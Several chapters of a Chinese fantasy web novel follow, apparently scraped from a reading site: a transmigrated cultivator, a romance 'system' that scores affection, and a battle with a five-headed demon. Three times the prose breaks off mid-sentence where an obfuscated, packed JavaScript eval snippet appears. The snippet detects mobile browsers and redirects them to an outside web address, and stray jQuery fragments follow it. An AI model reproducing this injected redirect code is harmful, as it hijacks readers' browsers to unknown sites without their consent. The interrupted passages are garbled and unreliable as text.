砚倾酒不会知道,在他去逍遥宗的第二日,砚府上上下下几百号人,全都被闻执诗杀光了! 砚倾酒到死都不会知道了。 因为他到死都没有逃离逍遥宗。 2.0版本的闻执诗还没到逍遥宗,便知道了这件事。按理,第二日他是要下山去屠砚氏满门的,但他拒绝了。 系统说若宿主违背规则,必定受到惩罚,例如这次若闻执诗违背剧情走向,没有下山屠戮砚氏,将会被系统扣除十年的阳寿。 听说了此事之后,闻执诗不羁一笑,心道别说区区十年阳寿了,就是用他五十年阳寿,一百年阳寿,去换那几百条人命,也是值得的! 闻执诗对自己的实力相当自信。他坚信自己这个挂逼龙傲天一定能飞升成仙,别说区区十年阳寿,就是一百年一千年的阳寿,对他来说也就是“弹指之间”。 为此,闻执诗大义灭自己,不痛不痒地失去了十年阳寿,变的不那么玉树临风、英俊潇洒了一点,鬓角处甚至生出了一小撮白发。然而,否极泰来,物极必反,他惊喜的发现,砚倾酒对他的心动值竟然偷偷地增加了! 这事不对劲。事出反常,必然有鬼! 闻执诗跟在砚倾酒身后琢磨了许久,也没琢磨出个一二三来,于是便潇洒地放弃了。 砚府所在的荣州城距离逍遥宗所在的蓬莱仙山,没有十万八千里,但去掉“十万”剩下的那八千里还是有的。 闻执诗还没习得御剑飞行的本事,没用的系统也不愿意催动「乾坤大挪移」之术,二人就只能徒步走着了。 刚出荣州城,砚倾酒便遣散了随行的仆从,给了他们两条出路,要么回砚府继续伺候老爷夫人,要么拿钱走人自己过日子。大部分仆从跟砚府的人感情都很深,舍不得走,便打道回府了。 连砚和九给他们准备的那一马车金银珠宝也拉回去了。 闻执诗挤出两滴老泪,眼巴巴地望着那一马车宝贝,心说亏了亏了,这下亏大了! 路漫漫其修远兮,闻执诗欲哭无泪惨兮兮。 途中,闻执诗与砚倾酒并肩而行,砚倾酒有伤在身走得很慢,闻执诗便放慢脚步等着他,二人极少说话,就算开了口,说的也是些无关紧要的话。 闻执诗这个人从前不仅是个自带搞笑属性的“笑神”,而且还是个话痨!让他一个小时不说话他能忍了,但是让他一天不说话,他就忍不了了。路过一家茶肆的时候,他灵机一动,佯装擦汗,嘿嘿笑道:“好香啊!这苍山脚下的茶肆看着不起眼,煮出来的茶怎么这么香呢?你说是吧砚倾酒。” 砚倾酒穿了身黑紫色的衣裳,像一条绷直的细茄子。那衣裳衬得他的脸微微发紫,闻执诗以为他病了,下意识地伸手探了一下他的额头。 好烫!若非砚倾酒的小脸白的像块玉,闻执诗定是会以为自己摸着了块烧的正烫的火炭! 他竟然发烧了。 发烧了还一声不吭,就这么忍了一路? 闻执诗就没见过这么能忍的人。 昨夜发生了那样的事情,砚倾酒不跟闻执诗说话闻执诗是可以理解的,但他发了这么高的烧,还一声不吭,也不在乎自己的命,闻执诗就不能放任他不管了。 谁让他们绑定了那个心连心、命连命的墙纸爱系统呢! 闻执诗领着砚倾酒进了茶肆,要了一杯陈化后的老白茶,煮饮之后,甜味突出,入口后茶香四溢,醇厚甘甜。 闻执诗平日里是不会喝甜茶的,他钟爱苦茶,喜欢那种麻辣辣的苦,最好是能让他品出点人生的感悟来,所以这壶老白茶是他特地为砚倾酒点的。 砚倾酒坐在他对面,阴着张脸,看着不像是会领情的样子。闻执诗问他:“渴吗?” 砚倾酒无动于衷。 闻执诗又问道:“饿吗?” 砚倾酒依旧纹丝不动。 闻执诗心说装听不见不理人是吧?他思量着,食指的指骨不经意间敲了敲桌子,侧目盯着砚倾酒看。突然,他眉梢一挑,想到了“破局之法”。他面不改色地问道:“你喜欢我吗?” 砚倾酒闻声抬头,眼中闪过一道不明所以还带点好奇的光。 闻执诗满意地笑了笑,扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349179|199568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着额角,不疾不徐道:“不回答就是不否认,不否认就是喜欢咯。砚倾酒,你既然喜欢我,能不能不要一直给我甩脸子不理我,反正咱们也是要一同去往逍遥宗的,到了那儿也不可能不见面的,何必相看两相厌,中间隔着座敬亭山呢!” 砚倾酒发烧发的有些头晕,说话的时候没什么力气,语气很轻,不痛不痒地道了句:“我与你无话可说。” “可我对你有很多话要说。”闻执诗不依不挠道:“你可以理解为,我这个人有病,不跟人说话我就浑身难受,会犯病。所以,你跟我说话其实就是在治我的病。你跟我说什么都行,骂我也行。你骂我,我绝对受着,保证不骂回去。” 砚倾酒牙根快咬碎了:“好啊。把你从我这里拿走的东西还给我,你想说什么,我就陪你说什么。” 砚倾酒想要他的仙骨。 一个连仙骨都没有的人,到了逍遥宗,该怎么修仙呢? 他仅用一句话就让闻执诗闭嘴了。 闻执诗捂着额头,盯着木桌上的纹路,心道:“若我有那本事能把仙骨还给你,不用你说,我就还给你了,问题是我没有啊!那微生言毕竟是一大宗派的仙尊,岂能让人轻轻松松地把他刚得到的仙骨挖出来,况且在我来之前原先的闻执诗还在仙骨中做了手脚,我就算得到了仙骨,也不能轻易地还给你啊。苍天啊,大地啊,好难啊!” 闻执诗低着头把白茶当酒喝,喝了一杯又杯,一个人就把茶壶中的茶水喝了个精光。当他抬起头的时候,对面的砚倾酒已经趴在桌子上了。 看着像是睡着了,实则是晕倒了。 闻执诗叹了口气,念了两声“阿弥陀佛”,心说又要伺候砚倾酒这尊大佛了。闻执诗走到对面,搂住砚倾酒的两个胳膊,想把他抱起来,他却发现他的腿卡在长板凳上,这样抱会弄疼他。 于是,他呼叫系统:“叫人来!帮忙!你们身为系统,总不能养尊处优地蹲在我的脑子里睡大觉吧?我是你们的主人,你们得为我出谋划策啊!快点叫人来,这尊佛太沉了,我抬不动。” 人工客服一点也不惯着他:【还真把自己当大爷了是吧!系统还得伺候你,你算毛啊!懒得跟你叭叭。说吧,要几个人?】 闻执诗道:“先来十个吧。要力气大,动作利索,还不会说闲话的。” 约莫过去了半炷香的功夫,茶肆门口突然出现了一道青蓝色的身影。一位穿着弟子制服的少年人形立牌似的站在茶肆门口,目视前方,一动不动,像一个站岗的哨兵。 闻执诗走过去,在他面前打了个响指,笑嘻嘻地问道:“小朋友,你可是逍遥宗的人?谁让你来的?” “哨兵”依旧站得绷直,严肃道:“闻师兄让我来的!” 闻执诗捏着眉头,又问道:“哪个闻师兄?你知道我是谁吗?” “哨兵”冲闻执诗行了个礼,脱口而出:“你就是闻师兄!” “... ...”闻执诗登时头顶冒烟,咬牙切齿地问系统:“你给我派来了个人机?!” 人工客服清了清嗓子,解释道:【这位是逍遥宗青山长老座下大弟子——你的师弟苏庭。他呢,武功不错,办事利索,憨厚老实,还不会说闲话,以一顶十,正好符合你的要求。不过,有一点很是可惜。他十二岁刚入逍遥宗的时候,因为根骨奇佳,太过亮眼,脑子被你打断了一根筋,变成了痴呆。现在好些了,但脑子还是不太好使。这事儿你怪不了别人,只能怪你“自己”。】 闻执诗吸了一口冷气,心说真是造孽啊,这么水灵的小孩,他是怎么下得去手的! 闻执诗心道:“没事,痴呆就痴呆,痴呆更可爱!我就喜欢脑子不太好使的小孩。不就是一根筋吗,等到我两腿一蹬快要一命呼呜的时候还给他就是了。” 他走上前,拍了拍苏庭的肩膀,朗声道:“来的好,我正等你呢。走吧,屋里有个人他生病了,咱们带他去看大夫。” 4. 逍遥宗一枝花 事情的走向与闻执诗预料的完全背道而驰。 他和苏庭两个人费了九牛二虎之力才将砚倾酒扛到了附近的一家医馆,那老大夫胡子煞白,穿着一件松垮垮的粗布大褂,头上还顶着一顶深褐色的方形软帽,乍眼一看,妥妥世外医仙的模样。 然而这位“世外医仙”拼尽全力,开了十几方药,还用他最擅长的针灸之术将砚倾酒扎成了刺猬,也没能让砚倾酒抬起眼皮。 人果真不可貌相啊。 闻执诗差点以为这位“世外医仙”把砚倾酒给治死了!他摸了摸自己的心口,确认自己的小心脏还在怦怦乱跳后,终于松了口气。 砚倾酒和闻执诗同命相连,只要闻执诗的小心脏还在跳,砚倾酒的小命就没丢。 闻执诗站在床榻前,捏着下巴,若有所思地打量着平躺在床上的砚倾酒,心说砚倾酒发烧发到脑袋像个塞满了炭火的皮球竟然还能活着,他的这命这么硬,当个小炮灰实在是屈才了,至少也得是个苦情男二啊。深情、难杀、还长了一张顶顶漂亮的小脸蛋,脾气又好,看着就好欺负,他可真是一位天选的苦情戏男主角儿啊。 人工客服诈尸似的出来鬼叫了两声:【歪!姓闻的,老子都睡了一觉了,你怎么还在路上呢?这是哪儿啊,怎么臭气熏天的。咦——还是又苦又臭的汤药味,谁要死啦?】 闻执诗心平气和地回了句:“你亲爹。” 人工客服:【……】 此处无声胜有声。 人工客服和人机系统在闻执诗的脑子里叽里呱啦的争吵了一番,最后给闻执诗下了一条处罚: 【处罚通告:由于宿主与角色对话时出现了OOC行为,宿主的等级将降低为5级,同时收回「心书」奖励。 同时发布一则重要提醒! 请宿主务必在天黑之前抵达蓬莱仙山——逍遥宗,否则将面临「不可抗因素」的处罚!】 “天黑之前抵达逍遥宗?!痴人说梦呢。虽然你们也不是人。”闻执诗跟俩神经质の系统讨价还价,强词夺理道:“我刚才OOC的时候你们不提醒我,现在事后当起判官来了,这是你们作为系统的失职!试问天底下有哪个系统犯了错,他们的宿主会不惩罚他们?” 好一个倒反天罡!可笑的是,竟然真的有奇葩人机信了。 人机系统:【请问宿主,你想怎么处罚?】 人工客服:【……你理他干嘛?!】 闻执诗在心里冲人工客服甩了一个白眼,然后对人机客服温柔一笑,言道:“处罚就是你得破例给我一个奖励。我想要的奖励很简单——治好砚倾酒的伤,让他醒过来。” 人工客服:【笑死。】 人机系统:【抱歉宿主,系统无法干预书中角色的生死,也无法干预角色的生命状态,但是可以给宿主一个提示:宿主可以尝试提升绑定对象对您的好感值,会有意外的效果哦~】 闻执诗纳闷了:“他昏迷着呢,我怎么提升好感值啊?” 俩没用的人机又装死了。 闻执诗无奈地叹了口气,转头看向床榻旁正在给砚倾酒擦汗的苏庭,突然灵机一动,心说有了:可以趁砚倾酒昏迷的时候在他身边积极“献媚”,让他对他心里的那个闻执诗回心转意,以此来减轻他的痛苦,提升好感值! 不知哪位三流民间“神医”说人昏迷的时候有可能触觉和听觉变得特别敏感,闻执诗决定赌一回,他赌砚倾酒能听见。 约莫过去了半炷香的时间,闻执诗端来一盘热水,外加一碗掺了蜂蜜的汤药,还有两颗剥好皮的高粱饴。 闻执诗让大夫和苏庭出去,留自己和砚倾酒在屋子里,这样旁人看不到,砚倾酒还昏迷着,只要他不乱说话,就不会OOC了。 闻执诗利索地将干毛巾浸湿,而后拖住砚倾酒的后背将他抱起来,让他靠着后面的床柱,还在他的后背上披了一件加绒的小袄,以免他的骨头靠着床柱,硌得慌。 一波操作猛如虎,闻执诗累得像个二百五。 万事俱备,就剩下说“甜言蜜语”这一步了。闻执诗一只手拖着砚倾酒的脸,另一只手用汤药舀了一点药汁,然后抬头望着屋顶,从系统给他发放的台词中挑了几句,背了下来。 闻执诗俯下身,在砚倾酒的耳边低声道:“我该唤你什么?倾酒,还是夫君。就唤你夫君好了。夫君,你现在很想死对吗?我剜你仙骨的时候很痛吧。把你修仙的命根子就这么一点一点地从你的脊梁骨中剜出来,该有多痛啊。我好心疼你啊!” “……”闻执诗:天知道我有多无语。我说了什么鬼话?怎么即肉麻又贱兮兮的!原主到底是什么妖魔鬼怪?! 继续硬着头皮念台词。 “夫君,你现在很恨我对吗?再恨我也不对自己下手啊。你别死,我会心疼的。我对师尊的喜欢是真的,对你的心动也是真的。你永远都不知道我第一次见你的时候,心中有多么欢喜。我已经有很多年没有真心实意地看过一个人了。你真特别。” “听话,张开嘴巴药喝了。等你退烧了,我带你去逍遥宗,让你日日陪着我。听话,快点好,别让我等太久。” 砚倾酒竟然真的张了张嘴,把汤药里的药汁抿进去了。一勺又一勺,他喝了大概三五勺,又撑不住了,于是便再度昏迷过去了。 好在砚倾酒睡了一会,就醒了。 砚倾酒是醒了,可熬了个通宵的闻执诗却睡着了。 砚倾酒醒来的时候,看见闻执诗盘腿坐在他的床边,单手托着腮睡着了。闻执诗早就已经睡得像一条死狗了,却还紧紧地抱着砚倾酒的药碗不肯松手。 砚倾酒捂着胸口轻轻地咳嗽了两声,怕吵醒闻执诗,他抿着嘴,把声音压得很低。而后他抬着枕头往床边挪了挪,把脸挪到了闻执诗的身子前面,就这么一声不吭地盯着他看。 从眉骨到鼻峰在到双唇,将这位一贯高高在上,不可一世的清冷剑修的容颜一览无余,尽收眼底,连藏在睫毛阴影中的小黑痣都看得清清楚楚,明明白白。 砚倾酒看向闻执诗的眼神中,有厌恶,有深恶痛绝的恨,还有几分说不清道不明的好奇。 砚倾酒好像在透过闻执诗的皮囊,窥探着他皮囊之下张牙舞爪的灵魂。 闻执诗的这张脸让他足以配得上“逍遥宗一枝花”的名头。剑眉星目的眉眼给人的感觉本该是冷峻的,可这眉眼长在闻执诗的脸上,就成了带着乖戾的轻佻,有几分少年的爽朗不羁、几分剑客的风流倜傥,但更多是他阴暗灵魂的残忍与孤僻。 砚倾酒心甘情愿地与他成亲,与他结为连理,是因为他想试着爱他,更想试着救他。 救一个在他眼中张扬强势却及其敏感脆弱的灵魂。 他想试着养一株生长在地狱里的野花,小心地呵护着唯一的花骨朵,让他开出花来。 二人只有咫尺之隔,闻执诗托着腮,时不时磕头虫似的点一下头。每每他低头时,鼻尖就快要触碰到砚倾酒的眉心,砚倾酒却没躲,就这么目不转睛地盯着他看。 闻执诗的额头上出了点汗,砚倾酒想抬手帮他把眉心那几滴汗珠抿去,他刚抬起手,指尖还未触碰到闻执诗的眉心,闻执诗便醒了。 二目相对,堪比宣纸碰上了火,一点就着。 干柴烈火,宣纸还在烧。 闻执诗触电般扭过头,连滚带爬地往后躲,直到后脑勺磕到枣木案上才停下。 比砚倾酒的眼睛更让闻执诗心惊胆战的是人机系统的鬼叫声: 【恭喜宿主!!!您的契约对象对您的心动值提升为15啦!真是普天同庆,系统也为您感到开心呢!您可以解锁「剧情预告」了噢~请问要现在解锁吗~】 “不必。请先等一下。让我先缓缓。”闻执诗揪着自己的衣领,心差点从喉咙里蹦出来。 他抱着膝盖,后背抵着木桌,缩成一只刺猬,战战兢兢地在心里复盘:“为什么我睡了一觉心动值就增加了?他刚才为什么用那样的眼神看我?他该不会是趁我睡觉的时候对我做了什么吧!” 闻执诗咬着嘴唇,苦大仇深地在心里猴叫:“男孩子出门在外一定要保护好自己,千万不能跟砚倾酒这种人独处一室啊。不然,不然就会……我说不清楚了。” 没等闻执诗复盘清楚,砚倾酒就已经穿好了衣服,蹬上长靴,径直走到了他的身边。砚倾酒一袭白衣,披散着头发,脸色惨白,嘴唇也泛白,堪比一只刚从阴曹地府中逃出来的男鬼。 然而,这只看着不是很面善的男鬼,竟然蹲在闻执诗身边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349180|199568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝他伸出了手。 闻执诗一愣,心说这不是要索命的意思吧? 想着想着,闻执诗脑子一抽筋,鬼使神差地握住了砚倾酒的手。 【恭喜宿主哇啊啊啊!!!您的契约对象对您的心动值提升为20啦!宿主可真是个恋爱甜菜!这么难搞定的攻略对象都被您拿捏了呢。系统跟着宿主真是享福啦!恭喜您获得「心动免伤卡」——指定一人在战时免伤,给您放到工具包里啦。】 闻执诗被系统吵到脑袋快要爆炸,恨不得一脚把系统踹出去。他忍着头痛揉了揉耳朵,等到他回过神的时候,砚倾酒已经牵着他的手站起来了。 眼下的场景是两个大男人独处一室,还手牵着手,看着真是一派融洽和谐的景色,闻执诗却完全接受不了。 他炸毛了——身上的每一根毛都是跳起来的! “刚才我昏迷的时候,你对我说,希望我能快点好起来?”砚倾酒这话虽是在质问,语气却是极其肯定的。 刚才那些话,砚倾酒都听见了。 砚倾酒步步紧逼,追问道:“那些话都是真的吗?” 闻执诗真想抱着砚倾酒,在他后背上锤上两拳,大喊几句:“兄der!我对你绝对是真心的,比金子还真,你要是死了,老子也要去见鬼啊。求你,别死夯。” 当然,闻执诗不会说出口,因为他不想让刚到嘴边的鸭子嘎嘎叫两声就飞了。他恨不得求爷爷告奶奶,心说可怜又渺小的心动值,再爱我一世吧!)。 闻执诗笔直地站在砚倾酒面前,嘴角抽了抽,保持着诡异的沉默。随便拉一个NPC过来看两眼,一定会觉得他是自己的同事。 砚倾酒又问道:“带我去逍遥宗,让我成为逍遥宗的弟子,让我留在那里,这些都是你亲口说的。这一次,你会说到做到么?” 闻执诗的嘴角抽搐地更厉害了,心说这次是真的,他真的让你留在逍遥宗了,并且还贴心地送给你了一个“惨绝人寰”大礼包,其中包括但不限于拨皮抽筋、脱衣凌辱、当着你的面跟他的师尊做那种不可描述的事情... ...最后还送你去见了如来佛祖。 见闻执诗沉默不言,砚倾酒似笑非笑地扬了一下眉。 傻孩子,还乐着呢?! 命都要玩没啦。 看人要慎重啊,万一看走了眼,那可真就是一入地狱回不了头啊。 闻执诗心说你真幸运,得亏你遇到的人是我,不然这会你已经被绑在逍遥宗的山洞里喂老鼠啦。 等等! 系统好像跟他说要天黑之前抵达逍遥宗来着。 闻执诗扭头朝窗户外瞄了一眼,心吧嗒一下凉透了。外面乌漆嘛墨黑,别说找太阳的影子了,就连月亮的背影都见不着。 他连忙甩开砚倾酒的手,搓了搓手心里的汗,溜到窗边,向外望去。 原本热闹非凡的长街已经变成了死气沉沉的无人巷,连盏灯都没有。闻执诗趴在窗户上把脑袋伸出去往下看,他惊奇地发现,他们所在的医馆竟然大门紧闭,除了他们所在的客房,其余的客房全都漆黑一片,没有亮灯。 气氛太诡异了! 他的第一、二、三、四、五、六感统统告诉他,有不妙的事情要发生了。 果不其然!闻执诗刚关上窗户,一阵激烈的打斗声便从门外的过道处传来。紧接着,一个血淋淋的剑客破门而入,重重地摔在了地上。 此人便是身受重伤的苏庭!他捂着腹部,大口地吐着血,见到闻执诗,他爬过去,抓着闻执诗的黑靴,痛苦道:“闻师兄,大事不好了!小窑村遭到大妖突袭,已经死了十九个人了。眼下,大妖已经杀到医馆了。我刚才向宗门报信的时候被大妖砍断了三根手指,已经握不了剑了。闻师兄,您快逃吧,别管我了!” 神马大妖?神马突袭?! 莫非这就是系统说的「不可抗因素」的惩罚?! 报信不成,宗门的人不会赶来救援,也就是说他和砚倾酒要独面这只突如其来的大妖了! 闻执诗想起了系统发给他的那张「心动免伤卡」,闭上眼,立马点了「使用」按钮。 而后,他把月照泉扔给砚倾酒,语重心长地说:“倾酒,你不是要修仙吗!就从现在开始历练吧。” 5. 心动免伤卡 「心动免伤卡」当然是给自己使用啦。 神马来路不明的大妖,当然是交给砚倾酒处理啦。 闻执诗在心里安排得明明白白。 闻执诗扛起地上的苏庭,后退三步,从衣服上撕下一块布捂住苏庭身上的伤口,手忙脚乱中还不忘慰问几句:“苏师弟啊,平时在仙门修炼的时候没少偷懒吧。我觉得以你的资质,对抗这种等级的大妖,应当是手到擒来,轻轻松松啊。” 这番话倒是激起了苏庭的斗志,他那双猩红的眼珠子转了转,抓起手边那把长剑躬着头就要往前冲,使出浑身牛劲儿要去与大妖拼个你死我活。 闻执诗抚掌一叹:“勇。不愧是逍遥宗的弟子,的确给师门长脸!” 此话一出,苏庭的脚底下已经开始往外呲火星字了。闻执诗把他拉回来,淡定道:“别急别急,气沉丹田,放松呼吸。那大妖还没来呢,你现在冲过去做什么?你先给我说说那只大妖长什么样,修什么系的术法,有无应对之策。” 苏庭这才反应过来闻执诗刚才那番话是在逗他玩,难免有些失落。他耷拉着耳朵道:“这只妖自化成人形开始便为祸世间,已经杀了几百号人了,属实是只令人闻风丧胆的怪物。闻师兄,您以前不是教过我们区分妖的修为层级的方法吗?您一会见到他,自然就知道了。” “我当然知道了!”闻执诗一边瞅着砚倾酒,一边面不改色道:“我这不是在考察你的基本功吗。来吧,背给我听听,该怎么区分区分妖的修为层级。” 苏庭趴在桌案上,有气无力地擦了擦嘴角的血迹,苦大仇深道:“妖的修为有六个层级,分别是「精怪」、「妖灵」、「化形」、「大妖」、「御妖」、「天妖」。万物初开灵智,使之成为“精”,这便是「精怪」。而后凝聚本元,灵性自成,便成了「妖灵」。再进一步,褪去原型,行走人间,便是「化形」。化形后修炼成神通广大的一方霸主,便成了「大妖」。再修练个千年,能统御万妖,立下道统,变成了「御妖」。若能有万年道行,与天同寿,与道合真,便达到了最后一层,成为了「天妖」。” 闻执诗腹诽道:“作者把妖的等级写的这么复杂做什么?!您写的是嘟!嘟!嘟!小凰文,又不是大男主升级流!这不多此一举吗!” 苏庭眨着小眼睛眼巴巴地望着他,像个等待奖赏的小屁孩。 “不错,说得好。”闻执诗有模有样地赞叹两句,连忙给了苏庭一个“甜枣”,又道:“看来刚才是师兄错怪你了,你平日里没少下功夫啊。不过,你是怎么知道刚才与你打斗的那只妖是大妖的,莫非以你的功力,已经能探出他的修为了?” “不能。师兄,我还还没有那个本事呢。”苏庭解释道:“方才与我交手的那只妖名为‘祁山臊子’,是一只相当出名的大妖,常常在祁山一带作恶,人尽皆知,先前常师兄多次派弟子下山捉拿‘祁山臊子’无果,五位长老已经将他纳为仙门通缉犯之一了。” 闻执诗差点以为自己听错了,“只吃面不喝汤那个‘岐山臊子面’?” “哎对对,就是‘祁山臊子面’!据说这只大妖被这一带的百姓叫这个名儿,有两个原因,一是他好吃懒做,就馋‘祁山臊子面’这一口儿,所以附近的百姓只要说自己是祁山人,会做臊子面,这只大妖就可以考虑不杀他们,前提是他们必须得做出正宗的臊子面,至于到底正不正宗,就得看大妖这张嘴尝出来的是什么味道了。” “这第二个原因便是这大妖的法器是两个半人高、千斤重的大斧头,名为‘祁山斧’。据说这只大妖残虐成性,没事的时候就喜欢抓几个人扔到菜板子上,把人活活砍成臊子!属实是太残忍了!这样残虐无度的大妖就应该被绑到天雷台上,被天雷劈成渣渣!” 闻执诗还没来得问“天雷台”是什么地方呢,那位“祁山臊子”就抡着他那斧头大步流星地闯进来了。 不对,不能说是他整个人闯了进来,应该说是他的上半身闯了进来。他的下半身不在门外,也没有蜷缩着,而是在楼下!若非亲眼所见,闻执诗万万不敢相信一个妖怪竟然用他的腰把两层的医馆从中间顶烂了! 这只大妖长了五颗头,足足有半栋楼那么高,光是他的一只脚就赶半头牛大。臊子妖的五官极其不美观地分布在五颗头上,闻执诗正对着的那颗头上长了一张蛇口似的嘴,相当瘆人。 更瘆人的是,从蛇口中伸出来的舌头一圈一圈地缠在大妖的脖颈上,像一条猩红的蛇信子。 天天刷青年大学习的三好青年闻执诗哪见过这种东西? 见到那条舌头,闻执诗直接被它吓破了胆,头皮登时硬成了水泥板。他扛起苏庭,拉着砚倾酒闭着眼睛就往医馆外头跳。三个人几乎同时落地,差点给地面砸出一个大坑。 很快,“祁山大臊子”就弥补了三人没有在地上砸出大坑的遗憾,他的大脚刚落地,地面便陷下去,成了一个Duang大的一个坑。他每走一步,地上便多出一个大坑,比鼹鼠挖坑还准。 落地之后,苏庭拧着脖子往后看,蚕宝宝似的在地上蠕动了三下,仰着头问闻执诗:“闻师兄,他追上来了,我们该怎么办啊!闻师兄,还是我来拖住他,你带着砚公子先走一步吧!” “你拿什么拖住他?用你那‘三寸不烂之舌’吗?”闻执诗从砚倾酒手中拿回月照泉,匆匆忙忙拔剑出鞘,见到那冷光漾开的剑刃,他的心中突然生出了几分底气。 闻执诗握紧剑柄,看了一眼砚倾酒,对系统道:“请问,刚才启动的「心动免伤卡」可以撤销吗?我想换人。” 【不可以哦宿主,一旦绑定不能换人哦,除非您重新获得一张「心动免伤卡」!】 闻执诗又问道:“用了这张卡,我不会死,也不会受伤对吗?” 【是哒!「心动免伤卡」可以保护宿主,让宿主在战斗中完好无损呢。请宿主放心使用哦~】 “那就足够了。”闻执诗深吸一口气,脑海中浮现出“挂逼龙傲天”、“逍遥宗第一杀神”、“逍遥宗三大宝剑之一月照泉”等等字眼,回光返照似的充满了斗志。 他回头冲苏庭喊了句:“快带砚倾酒走,不要回头,这里交给我!” 而后他剑指“祁山大臊子”,盛气凌人地挑眉一笑,眼神中尽是看杂碎的不屑,嚣张道:“受死吧!” 其实他想说的是:“来吧臊子哥,我倒要看看你能不能把我砍成臊子。”结果说出口的时候就变成了极其装逼但没什么底气的“受死吧”。 原来装B的感觉这么爽! 原来当大英雄的感觉这么得劲儿! 年少不知挂逼好,一当挂逼就忘不了。 闻执诗还没念完顺口溜,那“祁山大臊子”就已经拎着他的高马尾,将他整个人提溜到了空中,紧接着半头牛那么大的祁山斧就冲着他的脑门砍来了! 闻执诗连忙提剑抵挡,却极其乏力。他心叫不好,装逼装过头了,忘记这是在实战了。 得亏他有月照泉。 月照泉不愧是逍遥宗的三大宝剑之一,的确与寻常宝剑不同。 以闻执诗现在的实力,顶多发挥月照泉三成的功力,可这三成功力所逼出的剑气,足以叫“祁山大臊子”虎躯一震,有些招架不住。 问题就出在“祁山大臊子”有两把斧头,而闻执诗只有一把剑上了。以一敌二他怎么能打得过呢,更可何况“祁山大臊子”他有五个头! “喂!臊子哥,你能听懂人话吗?你知不知道仙门有句老话,叫做‘胜之不武,不是英雄’?” 仙门的人没有说过这句话,闻执诗瞎编的。 此话一出,“祁山大臊子”的五颗脑袋齐齐“盯”着他看,有眼睛的在瞪他,没眼睛的也来凑热闹,用别的器官“瞪”他。 这场面就像是过年的时候一群老大爷盯着一个小家伙逼逼叨叨,到头来小家伙根本没记住他们的长相,也就一个人记住了一个鼻子一个眼。 “祁山大臊子”可比家里的老大爷难对付多了。 闻执诗一边大喊大叫分散“祁山大臊子”五个头的注意力,一边捏着咒卯足力气用月照泉刺向他的手腕,就在他吃痛松手的那一刻,闻执诗踩着他的手指,借力向上一跳,抱住了他的一颗头,几乎在同一秒,闻执诗手中的月照泉便刺进了那颗头上乌黑发亮的眼珠子里。 “中招了!”闻执诗顺势拔剑,登时血液飞溅。“祁山大臊子”捂着眼睛,疼到青筋暴起,令闻执诗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349181|199568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到的是,他竟然挥起斧头,将没了眼睛的那颗头整个儿砍了下来! “祁山大臊子”凛然一震,发出了一声排山倒海般汹涌而来的低吼。他这一吼,差点给闻执诗轰到九霄云外去。 紧接着,他的断头处涌出一汪毒液似的黑血,黑血流干后,断头处竟然长出了新肉! 这简直太让人匪夷所思了!闻执诗甚至有点怀疑“祁山大臊子”是不是也绑定系统了,绑定的还是无限再生系统。 他突然有了一种小命即将休矣的不详预感。 这种预感来的还是有些晚了。 如此危难时刻,闻执诗很难不想起自己的队友。他抬头向远处望去,苏庭和砚倾酒那两个人果真逃之夭夭了,连头都没回一下! 好家伙!竟然真跑了,仗义,太他么仗义了! 闻执诗释怀地死心了。 闻执诗收回视线,抬头一看,“祁山大臊子”的那颗头已经完全长好了,连眼珠子都恢复原样了! 求神拜佛不如靠自己。闻执诗只能再次拔剑寻找破绽,只是这一次,“祁山大臊子”长出的脑子要比之前的更灵光了,任闻执诗横冲直撞,寻寻觅觅,也没能再次找到机会。 踏破铁鞋无觅处,到头来真就是白费功夫。 找不到破绽,他就只能挨揍了。 刚才闻执诗那自以为英俊潇洒的一剑,在“祁山大臊子”眼中就成了赤裸裸的挑衅。 他被“祁山大臊子”拎起来又扔下去,当成蹴鞠踢来踢去,有的时候甚至是脸着地。“祁山大臊子”不杀他,就单纯地折磨他。 闻执诗可谓是受尽折磨,颜面尽失。他欲哭无泪,只能扯着嗓子嗷嚎。 「心动免伤卡」可以让他在战斗中不伤不死,但是他会痛啊。“祁山大臊子”的大斧头从他的腰上横劈下去,虽然他的腰没有断,但是断骨的痛他是一点也没少受啊。 闻执诗真希望臊子妖能一刀砍死他,结束这场一眼望不到头的折磨。 闻执诗被“祁山大臊子”握着两条腿倒吊起来,想要用他那俩斧头给闻执诗活生生砍成臊子下水煮面条的时候,突然有一个人从“祁山大臊子”的两腿之间蹿了过去,紧接着,一把铮亮的短刃径直刺向了攥着闻执诗的那只手。 他定睛一看,那人用的竟然是一把短小而锋利的匕首! 那人用匕首利索地割断了臊子妖手腕上的血管,旋即,刺向大妖的另一只手。 “祁山大臊子”吃痛,两只手同时松开,闻执诗头朝地下坠,差点以头抢地,幸好有人稳稳地接住了他。 